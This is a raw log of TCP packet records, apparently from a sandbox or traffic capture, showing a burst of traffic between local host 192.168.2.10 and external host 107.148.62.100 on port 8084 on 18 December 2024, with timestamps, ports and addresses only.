Dec 18, 2024 13:21:43.692771912 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.693933964 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.693970919 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.694030046 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.695230007 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.695266962 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.695338964 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.696516991 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.696552992 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.710412979 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.710542917 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.710586071 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.710675955 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.710844994 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.710879087 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.711961985 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.712069035 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.712105036 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.713105917 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.713247061 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.713287115 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.714385986 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.714500904 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.714544058 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.715687990 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.715801001 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.715841055 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.717024088 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.717158079 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.717202902 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.718327999 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.718391895 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.718427896 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.719595909 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.719774008 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.719809055 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.720879078 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.720978022 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.721014023 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.722193003 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.722313881 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.722357035 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.723514080 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.723685026 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.723721981 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.724814892 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.724961996 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.724999905 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.726059914 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.726174116 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.726210117 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.727375984 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.727464914 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.727499962 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.728674889 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.728770971 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.728809118 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.729979992 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.730007887 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.730042934 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.731261015 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.731306076 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.731339931 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.732584953 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.732618093 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.732654095 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.734009981 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.734098911 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.734133959 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.735239983 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.735310078 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.735344887 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.736519098 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.736592054 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.736630917 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.737777948 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.737884045 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.737922907 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.739089966 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.739114046 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.739152908 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.740349054 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.740395069 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.740434885 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.741725922 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.741786003 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.741820097 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.743045092 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.743113041 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.743145943 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.744357109 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.744380951 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.744417906 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.745516062 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.745537043 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.745572090 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.746815920 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.746972084 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.747008085 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.748473883 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.748539925 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.748575926 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.749468088 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.749583960 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.749619007 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.750737906 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.799556017 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.799582958 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.799623966 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.800120115 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.800162077 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.800192118 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.801373959 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.801433086 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.801472902 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.802700996 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.802736044 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.802792072 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.804018974 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.804059029 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.804100990 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.805454016 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.805476904 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.805495977 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.806582928 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.806622982 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.809822083 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.810040951 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.810075045 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.810476065 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.817570925 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.817615032 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.817630053 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.818213940 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.818257093 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.826626062 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.826751947 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.826802969 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.827230930 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.832369089 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.832417011 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.832465887 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.834171057 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.834217072 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.834295034 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.834786892 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.834827900 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.841613054 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.841757059 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.841804028 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.842152119 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.844523907 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.844568968 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.844579935 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.850666046 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.850699902 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.850724936 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.852463961 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.852520943 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.852524996 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.859066010 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.859098911 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.859134912 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.860274076 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.860332966 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.860549927 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.860783100 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.860826015 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.872785091 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.872870922 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.872932911 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.873276949 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.873394966 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.873442888 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.884211063 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.884295940 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.884344101 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.884571075 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.893687010 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.893798113 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.893824100 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.905004978 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.905059099 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.905065060 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.911127090 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.911174059 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.911183119 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.911974907 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.912015915 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.912087917 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.923614979 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.923685074 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.923727036 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.934726954 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.934788942 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.934808969 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.935007095 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.935050011 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.944132090 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.944211006 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.944258928 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.944528103 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.952100039 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.952159882 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.952240944 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.952714920 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.952765942 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.968827963 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.968848944 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.968863010 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.968914032 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.980331898 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.980406046 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.980407000 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.980760098 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.980796099 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.993441105 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.993453026 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.993489981 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:43.993793964 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.993896961 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:43.993941069 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.006345987 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.006505966 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.006557941 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.006846905 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.008749962 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.008790970 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.008824110 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.009166956 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.009203911 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.016225100 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.016262054 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.016297102 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.016658068 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.023602962 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.023655891 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.023705959 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.024017096 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.024054050 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.031263113 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.031393051 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.031446934 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.031969070 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.038490057 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.038518906 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.038547039 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.043579102 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.043598890 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.043613911 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.043632030 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.043656111 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.047013998 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.047116041 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.047153950 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.047440052 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.052500010 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.052552938 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.052563906 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.052922010 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.052958012 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.059876919 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.059937954 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.059981108 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.060322046 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.079526901 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.079549074 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.079574108 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.079890013 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.079925060 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.080033064 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.080874920 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.080920935 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.082467079 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.082519054 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.082555056 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.084023952 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.087930918 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.087946892 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.087960005 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.087982893 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.088010073 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.094017029 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.094149113 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.094192028 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.094563007 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.105308056 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.105338097 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.105370998 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.121036053 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.121089935 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.121128082 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.121486902 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.121542931 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.134116888 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.134238958 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.134280920 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.134538889 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.146883965 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.146912098 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.146933079 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.147249937 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.147284985 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.154079914 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.154158115 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.154202938 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.154632092 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.161387920 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.161451101 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.161500931 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.161788940 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.161832094 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.178899050 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.178987026 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.179044008 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.179219961 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.191472054 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.191514015 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.191574097 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.191859961 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.191900015 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.205837011 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.206068039 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.206125975 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.206279039 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.218983889 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.219002962 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.219027996 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.242472887 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.443303108 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.443347931 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:44.443397045 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:44.443619013 CET	8084	49833	107.148.62.100	192.168.2.10
